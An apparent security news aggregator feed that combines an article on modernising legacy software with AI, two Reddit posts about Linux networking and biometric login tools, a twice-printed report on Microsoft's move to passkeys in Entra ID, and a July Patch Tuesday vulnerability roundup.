<p class="wp-block-paragraph">These applications won’t be replaced overnight. Companies and organizations depend on their predictability. The 60-plus-year-old COBOL programming language remains the backbone of banking software for good reason: it is extraordinarily efficient at processing massive transaction volumes with precision. Furthermore, do you want your bank revolutionizing how they manage your money? Probably not.</p>



<p class="wp-block-paragraph">So, while AI investment continues to build inside the software development lifecycle (SDLC), it isn’t instantly rendering older software obsolete. What it will do is steadily enable easier tweaking, updating and testing of legacy applications — and in some cases, full migrations to modern platforms. And really, this isn’t a new phenomenon. Businesses have always looked to wring more efficiency and profit from existing products through intelligent prioritization.</p>



<p class="wp-block-paragraph">The argument then is that CIOs and CTOs can take a proactive look at their legacy application portfolios to determine which ones, if any, should migrate sooner. Five considerations can help guide that decision.</p>



<h2 class="wp-block-heading">Before replacing legacy apps with AI, ask these 5 important questions</h2>



<h3 class="wp-block-heading">1. Does the legacy application still work?</h3>



<p class="wp-block-paragraph">Is its utility still there? Customers often appreciate the consistency of legacy applications. They’re reliable, predictable and well understood. Don’t fix what isn’t broken. Another way to think about this is the degree to which the <em>technical approach</em> of your legacy application is still viable. It’s pretty much a guarantee nowadays in software that an application built one way, with some set of technologies, would be built a totally different way just two to three years later. There is no avoiding that, but what you want to avoid is investing further into a technical approach powering a legacy application that has been completely replaced with new software or a technical approach, especially if it is 10x better across the vectors of software development (latency, cost, accuracy).</p>



<h3 class="wp-block-heading">2. Does it still make financial sense?</h3>



<p class="wp-block-paragraph">Running a system over a long period amortizes costs significantly. Even as growth rates slow or plateau, it can still be less expensive to let legacy applications run than to overhaul them. Another way to think about this is: how viable is my <em>customer base</em> in the near-term and the long-term? If you anticipate modest—or even flat—earnings growth for your product, then that’s an indicator that it’s possibly worth optimizing your development processes with AI. Where it’s probably not worth investing is when you have no confidence in your future earnings, whether that’s due to the customer base shrinking or commoditization or something else.</p>



<h3 class="wp-block-heading">3. Can you integrate AI into existing workflows?</h3>



<p class="wp-block-paragraph">A significant portion of upcoming software development lifecycle work will focus on refactoring applications to be more AI-native. Some legacy applications may be strong candidates for a full AI rebuild, while others are better positioned for an AI add-on. <a href="https://www.gartner.com/en/newsroom/press-releases/2026-04-07-gartner-says-artificial-intelligence-projects-in-infrastructure-and-operations-stall-ahead-of-meaningful-roi-returns">Gartner </a>research from 2025 found that only 28% of AI use cases in infrastructure and operations fully succeeded.</p>



<p class="wp-block-paragraph">Among those that did, success was attributed primarily to integrating AI into existing workflows and systems. “As AI becomes part of day‑to‑day operations, it boosts adoption and creates visible impact within the organization,” Gartner states.</p>



<p class="wp-block-paragraph">It’s important to keep in mind the distinction between using AI to optimize an existing process or workflow within your application, versus powering a workflow or feature with AI. The former approach is more palatable for legacy applications because it generally doesn’t change the cost profile of running that application. In the latter case, if you’re introducing an AI-powered module into the application, you’re generally going to incur inference costs at runtime, and they are an order of magnitude more expensive for today’s frontier models than base compute.</p>



<h3 class="wp-block-heading">4. Do you have documented processes for maintaining legacy applications?</h3>



<p class="wp-block-paragraph">If so, you’ll more quickly identify where AI can optimize. The more coherent, organized and detailed processes are, the faster AI can find its footing and drive tangible efficiency gains. If documentation is lacking, start there. Keep detailed instructions and workflows for how you do things. Consistency matters. Don’t do things by heart. Don’t approach tasks casually, and don’t do things differently each time. The more uniform your process, the more easily you can insert AI into discrete steps and achieve efficiencies without disrupting the broader software development lifecycle. The organization in the most precarious position is the one managing legacy applications with no documented process for doing so.</p>



<h3 class="wp-block-heading">5. Can you prioritize?</h3>



<p class="wp-block-paragraph">Making a change to a piece of legacy software might involve 20 or more steps. Only one or two of those steps may be clear candidates for AI-driven optimization. Identifying and prioritizing those opportunities will help you realize early wins and build the case for broader return on investment. Also, not all candidates for optimization make sense in light of broader financial and operational constraints. As always, prioritize ruthlessly in favor of ROI—bang for your buck. If your team has been struggling to operate a particular part of your system due to a lack of expertise or time, you might consider using AI to buttress the maintenance of that component. Having AI own that part of the workflow might unlock big time savings—or it might erode crucial domain knowledge that your team used to possess through repetition. There is no one-size-fits-all; think through the second-order effects.</p>



<h2 class="wp-block-heading">Adding AI in testing in the SDLC</h2>



<p class="wp-block-paragraph">Beyond coding and application development, AI is opening new possibilities in how we test software. As leaders examine processes and look for places to insert AI, testing is often a natural entry point. There has been substantial innovation here, including new autonomous AI-driven testing solutions, those that have been enhanced with AI, and hybrid approaches that blend both. Each organization will be at a different place in its AI journey. Testing solutions exist to meet everyone where they are. Also, the state of applications will help determine which approach fits best—and when it fits as you evolve applications.</p>



<p class="wp-block-paragraph">Of course, there is some substance to the AI hype around how much code AI will write and how many applications it is already creating faster than ever. But one school of thought is that AI’s biggest economic impact will be in the creation of massive new markets and industries rather than in the complete displacement of existing industries. Regardless of how far AI takes us through the universe, it’ll take some time and it’ll be bankrolled by the trillions of dollars of existing products and industries that we depend on every day.</p>



<p class="wp-block-paragraph">That’s all good news for legacy players, but no one can afford to stay still. AI capabilities are advancing rapidly. Make it a habit to revisit legacy applications and workflows regularly. The right moment to introduce AI will keep shifting, and staying ahead of it is a competitive advantage.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Just showing off my side project]]></title>
<description><![CDATA[I have built an alternative to Howdy, which is a face authentication module in Linux. Unlike traditional Linux face authentication solutions, like Howdy, Biopass supports both facial recognition and fingerprint authentication, allowing them to run concurrently so users can authenticate with which...]]></description>
<link>https://tsecurity.de/de/3669476/linux-tipps/just-showing-off-my-side-project/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669476/linux-tipps/just-showing-off-my-side-project/</guid>
<pubDate>Wed, 15 Jul 2026 05:10:20 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I have built an alternative to Howdy, which is a face authentication module in Linux.</p> <p>Unlike traditional Linux face authentication solutions, like Howdy, Biopass supports both facial recognition and fingerprint authentication, allowing them to run concurrently so users can authenticate with whichever biometric succeeds first, similar to Windows Hello.</p> <p>The project is available at <a href="https://github.com/TickLabVN/biopass">https://github.com/TickLabVN/biopass</a>.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/phucvinh57"> /u/phucvinh57 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1uwtmyf/just_showing_off_my_side_project/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uwtmyf/just_showing_off_my_side_project/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Microsoft is forcing an enterprise transition to passkeys]]></title>
<description><![CDATA[Passkeys have been around for some time, but enterprise-wide adoption to this point has been slow for a number of reasons. But soon, many Microsoft customers won’t have a choice.



Starting September 1, Microsoft will roll out passkeys as the default authentication method in its cloud-based iden...]]></description>
<link>https://tsecurity.de/de/3669425/it-nachrichten/microsoft-is-forcing-an-enterprise-transition-to-passkeys/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669425/it-nachrichten/microsoft-is-forcing-an-enterprise-transition-to-passkeys/</guid>
<pubDate>Wed, 15 Jul 2026 04:32:40 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Passkeys have been around for some time, but enterprise-wide adoption to this point has been slow for a number of reasons. But soon, many Microsoft customers won’t have a choice.</p>



<p class="wp-block-paragraph">Starting September 1, Microsoft will roll out passkeys as the default authentication method in its cloud-based identity and access management (IAM) service Entra ID. And following a transition period, Microsoft-provided SMS and voice authentication will officially end on February 1, 2027.</p>



<p class="wp-block-paragraph">With this move, Microsoft seems to be underlining the urgent need for a more secure authentication standard, as attackers up their game with AI.</p>



<p class="wp-block-paragraph">This is an “important milestone,” because it moves passwordless authentication from an optional security enhancement to the expected standard, noted <a href="https://www.sans.org/profiles/ensar-seker" target="_blank" rel="noreferrer noopener">Ensar Seker</a>, CISO at SOCRadar. “That shift is significant as attackers increasingly rely on AI to automate phishing campaigns, generate convincing login pages, and conduct large-scale credential theft.”</p>



<h2 class="wp-block-heading">Microsoft’s six-month passkey roll-out</h2>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4009132/passkeys-how-they-work-how-to-use-them.html" target="_blank">Passkeys</a> require users to authenticate via a fingerprint, facial scan, or lock screen mechanism, rather than a password. They can be stored on physical USB keys (like YubiKey), or as digital credentials on computers, phones, or in cloud accounts.</p>



<p class="wp-block-paragraph">This method, Microsoft contended, reduces reliance on phishable authentication tools like SMS and voice, and hardens protection against credential theft.</p>



<p class="wp-block-paragraph">Passkeys “work better for users and worse for cyberattackers,” <a href="https://www.linkedin.com/in/nadim-abdo/" target="_blank" rel="noreferrer noopener">Nadim Abdo</a>, Microsoft corporate VP for identity and network access engineering, wrote in a <a href="https://www.microsoft.com/en-us/security/blog/2026/07/13/microsoft-entra-id-security-updates-passkeys-are-the-default-authentication-method-in-entra-id/" target="_blank" rel="noreferrer noopener">blog post</a>.</p>



<p class="wp-block-paragraph">Microsoft’s announced timeline for rolling out passkeys is relatively aggressive:</p>



<ul class="wp-block-list">
<li><strong>September 1, 2026</strong>: All SMS or voice-enabled users will be “auto-enabled and nudged” to register a passkey upon multifactor authentication (MFA) sign-in.</li>



<li><strong>September 18, 2026</strong>: Pricing, commercial terms, and a list of supported telecom providers will be shared for scenarios that still require SMS or voice authentication due to regulation or technical or operational challenges.</li>



<li><strong>October 30, 2026</strong>: Enterprises still using SMS and voice must select and configure a supported telecom provider through the Microsoft Security Store. From then on, they will be responsible for any telecom-related costs.</li>



<li><strong>February 1, 2027</strong>: Microsoft-provided telecom delivery for SMS and voice authentication ends as a native Microsoft Entra capability.</li>
</ul>



<p class="wp-block-paragraph">After February 1, enterprises that require SMS or voice for MFA must register a passkey before sign-in. There will be no opt-out option.</p>



<p class="wp-block-paragraph">It’s important to note that these dates apply to public cloud-hosted Entra ID. Support for other cloud environments will follow a separate timeline; additional guidance and dates are to come.</p>



<p class="wp-block-paragraph">While SMS and voice have served their purpose well, Abdo said, bringing MFA to billions of users who otherwise would have had none, the threat environment has changed in “speed, scale, and sophistication,” necessitating this move to passkeys.</p>



<h2 class="wp-block-heading">The benefits of passkeys</h2>



<p class="wp-block-paragraph">SOCRadar’s Seker pointed out that passkeys fundamentally change the attack surface because, unlike with passwords, there is no transmission of shared secrets that can be stolen by threat actors. Authentication requires possession of the user’s device, along with biometric verification or a PIN.</p>



<p class="wp-block-paragraph">“Even highly convincing AI-generated phishing pages cannot simply trick users into handing over a passkey the way they can with passwords or one-time codes,” he said.</p>



<p class="wp-block-paragraph">So why haven’t we seen widespread enterprise adoption? Identity ecosystems are “fragmented,” Seker noted, and many enterprises still rely on legacy applications that only support passwords. They also struggle with cross-platform compatibility, lifecycle management, recovery processes, shared accounts, and employee onboarding and offboarding.</p>



<p class="wp-block-paragraph">Further, “until recently, many organizations viewed passkeys as a consumer technology rather than an enterprise identity strategy,” he said.</p>



<p class="wp-block-paragraph">Microsoft’s move changes that equation, because Entra sits at the center of many organizations’ identity infrastructure, Seker noted. Default settings are typically the strongest drivers of security adoption, so when passwordless authentication becomes required rather than optional, organizations are far more likely to deploy it at scale.</p>



<p class="wp-block-paragraph">Its biggest benefit would be a “dramatic reduction” in credential-based attacks, Seker said. He pointed out that most successful compromises still begin with stolen credentials obtained through phishing, infostealer malware, password reuse, or adversary-in-the-middle attacks. Passkeys “eliminate or significantly reduce” many of those attack paths, while reducing password fatigue and the help desk costs related to password resets.</p>



<p class="wp-block-paragraph">In addition, rather than trying to continuously improve users’ ability to detect increasingly sophisticated phishing attempts, passkeys remove the credential from the equation altogether, Seker noted. “That represents a more sustainable long-term security strategy than relying solely on user awareness training.”</p>



<p class="wp-block-paragraph">Still, passkeys are not a silver bullet, as they do not stop endpoint compromise, session token theft, malicious insiders, or attackers who already have control of a trusted device. Enterprises must complement passkeys with endpoint protection, continuous monitoring, conditional access policies, and identity threat detection, Seker advised.</p>



<h2 class="wp-block-heading">How enterprises can prepare</h2>



<p class="wp-block-paragraph">To prepare for the shift to passkeys, Microsoft advised enterprises to review their authentication policy and identify the groups still using SMS or voice authentication. They should then select the best authentication method for user devices and workflows, and ensure all employees are given passkeys and security keys.</p>



<p class="wp-block-paragraph">Entra ID supports both synced passkeys (those stored in platform credential managers like iCloud Keychain and Google Password Manager), and device-bound passkeys such as Microsoft Authenticator passkeys, Entra passkey on Windows, or FIDO2 security keys.</p>



<p class="wp-block-paragraph">Seker advised enterprises to evaluate support for FIDO2 and passkeys across their identity infrastructure, and to develop clear enrollment and recovery procedures. They should also educate users on what’s changing, how passkeys work, and how they can complete registration. Further, Seker said, it’s important to establish secure device management practices and to continue enforcing least privilege, conditional access, and risk-based authentication policies throughout the transition.</p>



<p class="wp-block-paragraph">Ultimately, he pointed out, the move is crucial. “Over the next several years, organizations that continue relying primarily on passwords will likely face higher operational risk as AI continues to lower the cost and increase the effectiveness of credential-based attacks,” he said.</p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[Microsoft is forcing an enterprise transition to passkeys]]></title>
<description><![CDATA[Passkeys have been around for some time, but enterprise-wide adoption to this point has been slow for a number of reasons. But soon, many Microsoft customers won’t have a choice.



Starting September 1, Microsoft will roll out passkeys as the default authentication method in its cloud-based iden...]]></description>
<link>https://tsecurity.de/de/3669414/it-security-nachrichten/microsoft-is-forcing-an-enterprise-transition-to-passkeys/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669414/it-security-nachrichten/microsoft-is-forcing-an-enterprise-transition-to-passkeys/</guid>
<pubDate>Wed, 15 Jul 2026 04:20:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Passkeys have been around for some time, but enterprise-wide adoption to this point has been slow for a number of reasons. But soon, many Microsoft customers won’t have a choice.</p>



<p class="wp-block-paragraph">Starting September 1, Microsoft will roll out passkeys as the default authentication method in its cloud-based identity and access management (IAM) service Entra ID. And following a transition period, Microsoft-provided SMS and voice authentication will officially end on February 1, 2027.</p>



<p class="wp-block-paragraph">With this move, Microsoft seems to be underlining the urgent need for a more secure authentication standard, as attackers up their game with AI.</p>



<p class="wp-block-paragraph">This is an “important milestone,” because it moves passwordless authentication from an optional security enhancement to the expected standard, noted <a href="https://www.sans.org/profiles/ensar-seker" target="_blank" rel="noreferrer noopener">Ensar Seker</a>, CISO at SOCRadar. “That shift is significant as attackers increasingly rely on AI to automate phishing campaigns, generate convincing login pages, and conduct large-scale credential theft.”</p>



<h2 class="wp-block-heading">Microsoft’s six-month passkey roll-out</h2>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4009132/passkeys-how-they-work-how-to-use-them.html" target="_blank">Passkeys</a> require users to authenticate via a fingerprint, facial scan, or lock screen mechanism, rather than a password. They can be stored on physical USB keys (like YubiKey), or as digital credentials on computers, phones, or in cloud accounts.</p>



<p class="wp-block-paragraph">This method, Microsoft contended, reduces reliance on phishable authentication tools like SMS and voice, and hardens protection against credential theft.</p>



<p class="wp-block-paragraph">Passkeys “work better for users and worse for cyberattackers,” <a href="https://www.linkedin.com/in/nadim-abdo/" target="_blank" rel="noreferrer noopener">Nadim Abdo</a>, Microsoft corporate VP for identity and network access engineering, wrote in a <a href="https://www.microsoft.com/en-us/security/blog/2026/07/13/microsoft-entra-id-security-updates-passkeys-are-the-default-authentication-method-in-entra-id/" target="_blank" rel="noreferrer noopener">blog post</a>.</p>



<p class="wp-block-paragraph">Microsoft’s announced timeline for rolling out passkeys is relatively aggressive:</p>



<ul class="wp-block-list">
<li><strong>September 1, 2026</strong>: All SMS or voice-enabled users will be “auto-enabled and nudged” to register a passkey upon multifactor authentication (MFA) sign-in.</li>



<li><strong>September 18, 2026</strong>: Pricing, commercial terms, and a list of supported telecom providers will be shared for scenarios that still require SMS or voice authentication due to regulation or technical or operational challenges.</li>



<li><strong>October 30, 2026</strong>: Enterprises still using SMS and voice must select and configure a supported telecom provider through the Microsoft Security Store. From then on, they will be responsible for any telecom-related costs.</li>



<li><strong>February 1, 2027</strong>: Microsoft-provided telecom delivery for SMS and voice authentication ends as a native Microsoft Entra capability.</li>
</ul>



<p class="wp-block-paragraph">After February 1, enterprises that require SMS or voice for MFA must register a passkey before sign-in. There will be no opt-out option.</p>



<p class="wp-block-paragraph">It’s important to note that these dates apply to public cloud-hosted Entra ID. Support for other cloud environments will follow a separate timeline; additional guidance and dates are to come.</p>



<p class="wp-block-paragraph">While SMS and voice have served their purpose well, Abdo said, bringing MFA to billions of users who otherwise would have had none, the threat environment has changed in “speed, scale, and sophistication,” necessitating this move to passkeys.</p>



<h2 class="wp-block-heading">The benefits of passkeys</h2>



<p class="wp-block-paragraph">SOCRadar’s Seker pointed out that passkeys fundamentally change the attack surface because, unlike with passwords, there is no transmission of shared secrets that can be stolen by threat actors. Authentication requires possession of the user’s device, along with biometric verification or a PIN.</p>



<p class="wp-block-paragraph">“Even highly convincing AI-generated phishing pages cannot simply trick users into handing over a passkey the way they can with passwords or one-time codes,” he said.</p>



<p class="wp-block-paragraph">So why haven’t we seen widespread enterprise adoption? Identity ecosystems are “fragmented,” Seker noted, and many enterprises still rely on legacy applications that only support passwords. They also struggle with cross-platform compatibility, lifecycle management, recovery processes, shared accounts, and employee onboarding and offboarding.</p>



<p class="wp-block-paragraph">Further, “until recently, many organizations viewed passkeys as a consumer technology rather than an enterprise identity strategy,” he said.</p>



<p class="wp-block-paragraph">Microsoft’s move changes that equation, because Entra sits at the center of many organizations’ identity infrastructure, Seker noted. Default settings are typically the strongest drivers of security adoption, so when passwordless authentication becomes required rather than optional, organizations are far more likely to deploy it at scale.</p>



<p class="wp-block-paragraph">Its biggest benefit would be a “dramatic reduction” in credential-based attacks, Seker said. He pointed out that most successful compromises still begin with stolen credentials obtained through phishing, infostealer malware, password reuse, or adversary-in-the-middle attacks. Passkeys “eliminate or significantly reduce” many of those attack paths, while reducing password fatigue and the help desk costs related to password resets.</p>



<p class="wp-block-paragraph">In addition, rather than trying to continuously improve users’ ability to detect increasingly sophisticated phishing attempts, passkeys remove the credential from the equation altogether, Seker noted. “That represents a more sustainable long-term security strategy than relying solely on user awareness training.”</p>



<p class="wp-block-paragraph">Still, passkeys are not a silver bullet, as they do not stop endpoint compromise, session token theft, malicious insiders, or attackers who already have control of a trusted device. Enterprises must complement passkeys with endpoint protection, continuous monitoring, conditional access policies, and identity threat detection, Seker advised.</p>



<h2 class="wp-block-heading">How enterprises can prepare</h2>



<p class="wp-block-paragraph">To prepare for the shift to passkeys, Microsoft advised enterprises to review their authentication policy and identify the groups still using SMS or voice authentication. They should then select the best authentication method for user devices and workflows, and ensure all employees are given passkeys and security keys.</p>



<p class="wp-block-paragraph">Entra ID supports both synced passkeys (those stored in platform credential managers like iCloud Keychain and Google Password Manager), and device-bound passkeys such as Microsoft Authenticator passkeys, Entra passkey on Windows, or FIDO2 security keys.</p>



<p class="wp-block-paragraph">Seker advised enterprises to evaluate support for FIDO2 and passkeys across their identity infrastructure, and to develop clear enrollment and recovery procedures. They should also educate users on what’s changing, how passkeys work, and how they can complete registration. Further, Seker said, it’s important to establish secure device management practices and to continue enforcing least privilege, conditional access, and risk-based authentication policies throughout the transition.</p>



<p class="wp-block-paragraph">Ultimately, he pointed out, the move is crucial. “Over the next several years, organizations that continue relying primarily on passwords will likely face higher operational risk as AI continues to lower the cost and increase the effectiveness of credential-based attacks,” he said.</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.computerworld.com/article/4197029/microsoft-is-forcing-an-enterprise-transition-to-passkeys.html" target="_blank">Computerworld</a>.</em></p>



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<title><![CDATA[netflector - the only mDNS / SSDP / DIAL / WSD / WoL reflector you will ever need]]></title>
<description><![CDATA[This is a tool that makes all kinds of multicast-based discovery (and casting) work across networks (or VLANs). Full disclosure: I am using Claude Code. There are a lot of AI-sensitive people out there, so I want to be fully transparent this time. This post was not touched by AI, 100% human writt...]]></description>
<link>https://tsecurity.de/de/3669398/linux-tipps/netflector-the-only-mdns-ssdp-dial-wsd-wol-reflector-you-will-ever-need/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669398/linux-tipps/netflector-the-only-mdns-ssdp-dial-wsd-wol-reflector-you-will-ever-need/</guid>
<pubDate>Wed, 15 Jul 2026 04:08:41 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>This is a tool that makes all kinds of multicast-based discovery (and casting) work across networks (or VLANs).</p> <p>Full disclosure: <strong>I am using Claude Code</strong>. There are a lot of AI-sensitive people out there, so I want to be fully transparent this time. This post was not touched by AI, 100% human written :) Having said that, I am an experienced C++ developer (in HFT) and am writing low-level code (including networking) on a daily basis. This is not a vibe-coded project. I have designed this system and I have either written to reviewed all code.</p> <p>With that out of the way, the main motivation behind this project for me was twofold: learn Rust and solve a real problem I have at home. My phone and my TV are in different VLANs, so vanilla multicast discovery does not work. While there are plenty of mDNS reflectors out there, my LG TV uses SSDP and DIAL. In order to cast YouTube from my phone to my TV following needs to happen:</p> <ul> <li>Phone sends M-SEARCH SSDP multicast request which needs to be reflected into TVs VLAN (other reflectors can do that).</li> <li>TV responds with the unicast 200 OK, which needs to be forwarded back to the phone. (can be allowed in firewall, less secure than using this tool).</li> <li>Phone initiates a device discovery TCP connection to TV (can be allowed in firewall, less secure than using this tool).</li> <li>TV replies with the details of its REST endpoint (works fine because established connections are usually allowed anyway).</li> <li>Phone initiates another TCP connection to TV's REST endpoint. The connection must be from the TV's subnet (could be allowed and NAT'ed in firewall).</li> </ul> <p>So, to do this I would need to poke holes in the firewall and configure NAT. Additionally to that, I would still need to run some sort of reflector for SSDP multicast. How do I know? This is what I was doing for a couple of years :)</p> <p>Not anymore. My tool does all that automagically:</p> <ul> <li>It reflects multicast discovery packets (mDNS / SSDP / WSD).</li> <li>It proxies unicast UDP responses (SSDP / WSD).</li> <li>It does NAT for TCP connections (DIAL).</li> <li>It supports MAC filtering (so only specific devices are discoverable).</li> <li>It tolerates network interface re-creation. As long as new interface has the same name - reflection will continue.</li> <li>And as a bonus, it also reflects Wake-on-Lan packets.</li> </ul> <p>It does that with a very low footprint: static Linux binaries are &lt;1MB. Right now it runs on my MikroTik router (as a container) and uses less than 3MB of RAM.</p> <p>Currently I build static binaries for Linux (amd64/arm64/armv7/armv5) and FreeBSD (amd64/arm64), dynamic binaries for macOS (arm64) and a multi-arch Docker image. I will add more platforms on request.</p> <p>I really hope that this project will be useful not only for me :)</p> <p>GitHub: <a href="https://github.com/netflector/netflector">https://github.com/netflector/netflector</a></p> <p>Feedback is welcome.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/s3rgb"> /u/s3rgb </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1uwom6f/netflector_the_only_mdns_ssdp_dial_wsd_wol/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uwom6f/netflector_the_only_mdns_ssdp_dial_wsd_wol/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Patch Tuesday roundup: Microsoft fixes a monthly record 569 holes; SAP patches a critical memory corruption bug]]></title>
<description><![CDATA[Earlier this month Microsoft warned that, because the latest AI models can now help discover vulnerabilities, CSOs will see a higher volume of security updates every month. It wasn’t kidding.



Today the company issued a record number of patches, with 59 rated as critical. And Microsoft is now r...]]></description>
<link>https://tsecurity.de/de/3669391/it-security-nachrichten/patch-tuesday-roundup-microsoft-fixes-a-monthly-record-569-holes-sap-patches-a-critical-memory-corruption-bug/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669391/it-security-nachrichten/patch-tuesday-roundup-microsoft-fixes-a-monthly-record-569-holes-sap-patches-a-critical-memory-corruption-bug/</guid>
<pubDate>Wed, 15 Jul 2026 04:07:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Earlier this month Microsoft warned that, because the latest AI models can now help discover vulnerabilities, CSOs will see a higher volume of security updates every month. It wasn’t kidding.</p>



<p class="wp-block-paragraph">Today the company <a href="https://msrc.microsoft.com/update-guide/">issued a record number of patches</a>, with 59 rated as critical. And Microsoft is now recommending that customers accelerate their patching schedules to more quickly deal with critical flaws.</p>



<p class="wp-block-paragraph">“Normally we have to wait for October or November to determine if we’ll break the previous [annual] patch volume record,” which was 1,245 vulnerabilities found in 2020, commented <a href="https://www.tenable.com/profile/satnam-narang">Satnam Narang</a>, senior staff research engineer at Tenable. But not this year. Tenable counted 569 CVEs that were patched officially as part of this month’s Patch Tuesday, excluding the server-side updates not requiring user intervention, smashing last month’s record of 198 fixes</p>



<p class="wp-block-paragraph">It’s probable, he said, that by the end of this year, Microsoft will have found over 3,000 common vulnerabilities and exposures (CVEs).</p>



<p class="wp-block-paragraph">Today’s volume of holes is “striking,” he added, “but it reflects how good these tools have become at finding bugs, not how many of those bugs actually pose a risk to organizations.” </p>



<p class="wp-block-paragraph">Separately, SAP released 20<strong> </strong>new and updated security patches, including a critical memory corruption vulnerability in NetWeaver Application Server ABAP, SAP Kernel, and frontend services tied to SAP GUI for HTML, which has a CVSS score of 9.9.</p>



<h2 class="wp-block-heading">Microsoft patches</h2>



<p class="wp-block-paragraph">Among the huge number of CVEs that Microsoft found were three zero-days that need to be patched, including two that have been exploited in the wild. </p>



<p class="wp-block-paragraph">Those two are both elevation of privilege vulnerabilities: <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155">CVE-2026-56155,</a> an Active Directory Federation Services (AD FS) flaw that allows attackers with limited access to elevate privileges to administrator, and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164">CVE-2026-56164</a>, a Microsoft SharePoint Server vulnerability. </p>



<p class="wp-block-paragraph">The third is <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661">CVE-2026-50661</a>, a security feature bypass in Windows BitLocker, which was noted as having been publicly disclosed. “We surmise that this could be related to a flurry of zero-day vulnerabilities disclosed by the researcher known as Nightmare Eclipse or Chaotic Eclipse,” Narang said, “though no official confirmation was made. We also know that the researcher promised to drop something on Patch Tuesday.”</p>



<p class="wp-block-paragraph">While these were the most noteworthy flaws this month, Narang said, for CSOs the July patches prove that the state of the Exploitability Index, which rates how likely a vulnerability is to be exploited, must shift, given the machine speed of exploit discovery. For example, he pointed out, in May, Microsoft originally tagged <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45659">CVE-2026-45659</a>, a SharePoint vulnerability, as exploitation less likely. However, the vulnerability was added to the US Cybersecurity &amp; Infrastructure Security Agency’s list of known exploited vulnerabilities on July 1.</p>



<p class="wp-block-paragraph">He added that Anthropic’s Red Team’s own findings for known vulnerabilities (n-days) revealed how fragile the monthly Patch Tuesday system has become, with its Mythos Preview model being able to produce proof-of-concept exploits for 13 of 14 vulnerabilities that were rated as Exploitation Less Likely or Exploitation Unlikely.</p>



<p class="wp-block-paragraph">“What this means is that our way of looking at Patch Tuesday has changed, because the exploitability index is centered around humans, not AI tools, and as these tools continue to improve, defense needs to improve alongside it,” Narang said.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/dustincchilds/">Dustin Childs</a>, head of threat awareness at TrendAI’s Zero Day Initiative, agreed.</p>



<p class="wp-block-paragraph">“To call this record-breaking is a massive understatement,” said Childs. “This is the ‘Mother of All Releases’. The bug apocalypse has fully descended upon us, with July’s numbers pushing the year-to-date CVE count past every single full-year total of the last 20 years. Security teams need to take an extended break from their regularly scheduled activities to eat this elephant one byte at a time, starting immediately with active exploits in Active Director FS and SharePoint.”</p>



<p class="wp-block-paragraph">He particularly drew attention to a near-perfect 9.9 CVSS flaw in Windows VMSwitch (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092">CVE-2026-57092</a>) that allows low-privileged attackers to escape virtual machine boundaries for full host compromise.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/bicer/">Jack Bicer</a>, director of vulnerability research at Action1, agreed that IT leadership should prioritize immediate remediation of the actively exploited Active Directory Federation Services elevation of privilege vulnerability and the SharePoint Server elevation of privilege vulnerability .</p>



<p class="wp-block-paragraph">After that, he said, priority should be given to these critical vulnerabilities: Active Directory Certificate Services Elevation of Privilege Vulnerability (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121">CVE-2026-54121</a>), which introduces the possibility of attackers impersonating trusted systems and potentially compromising AD through certificate abuse; a Windows Active Directory Domain Services remote code execution vulnerability (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164">CVE-2026-49164</a>) which enables unauthenticated remote code execution against one of the most critical components within Windows enterprise environments; a Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central remote code execution vulnerability (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55944">CVE-2026-55944</a>); a Microsoft Exchange Server spoofing vulnerability (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008">CVE-2026-55008</a>); Microsoft SQL Server remote code execution vulnerabilities (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118">CVE-2026-54118</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117">CVE-2026-54117</a>); and multiple Windows DHCP Server vulnerabilities. </p>



<p class="wp-block-paragraph">These holes create opportunities for attackers to compromise financial systems, communication platforms, databases, and core network infrastructure, Bicer pointed out, systems which often provide direct access to sensitive business information and frequently serve as high-value targets for ransomware operators and advanced threat actors. </p>



